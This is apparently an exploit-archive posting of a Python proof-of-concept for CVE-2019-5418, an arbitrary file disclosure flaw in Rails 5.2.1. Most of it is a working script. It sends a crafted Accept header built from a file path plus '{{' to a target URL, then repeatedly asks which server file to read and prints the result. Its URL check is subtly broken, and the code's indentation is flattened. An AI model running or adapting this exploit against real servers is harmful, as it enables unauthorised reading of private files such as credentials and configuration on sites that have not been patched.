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Rails 5.2.1 Arbitrary File Content Disclosure

Rails 5.2.1 Arbitrary File Content Disclosure
Posted Mar 21, 2019
Authored by NotoriousRebel

Rails version 5.2.1 suffers from an arbitrary file content disclosure vulnerability.

tags | exploit, arbitrary, info disclosure
advisories | CVE-2019-5418
MD5 | 41d6eb04a30e870d483a1c0d4a72cba3

Rails 5.2.1 Arbitrary File Content Disclosure

Change Mirror Download
'''
Exploit Title: File Content Disclosure on Rails
Date: CVE disclosed 3/16 today's date is 3/20
Exploit Author: NotoriousRebel
Vendor Homepage: https://rubyonrails.org/
Software Link: https://github.com/rails/rails
Version: Versions Affected: all Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1
Tested on: Rails 5.2.1 (Using ubuntu on linux subsystem for Windows)
CVE: 2019-5418
'''
import sys

try:
import requests
except ImportError:
print('\n\033[93m[!] Requests library not found, please install before proceeding.\n\n \033[0m')
sys.exit(1)


def banner():
banner = """
----------------------------------------------
Arbitrary Traversal exploit for Ruby on Rails
CVE-2019-5418
----------------------------------------------
"""
print(banner)

def check_args():
if len(sys.argv) != 2:
print("Invalid number of arguments entered!")
how_to_use = "python3 Bandit.py url"
print('Use as:', how_to_use)
sys.exit(1)


def check_url(url):
status_code = requests.get(url)
if status_code != 200:
print("Url is invalid or can not be reached!")
sys.exit(1)


def read_file(url, file):
headers = {'Accept': file + '{{'}
req = requests.get(url, headers=headers)
return req


def main():
banner()
check_args()
url = sys.argv[1]
while True:
try:
file = input("Enter file to read (enter quit to exit): ")
except Exception:
file = raw_input("Enter file to read (enter quit to exit): ")
try:
if file.lower() == 'quit':
break
except Exception:
if file == 'quit':
break
response = read_file(url, file)
print(response.text)


if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('\n\n\033[93m[!] ctrl+c detected from user, quitting.\n\n \033[0m')
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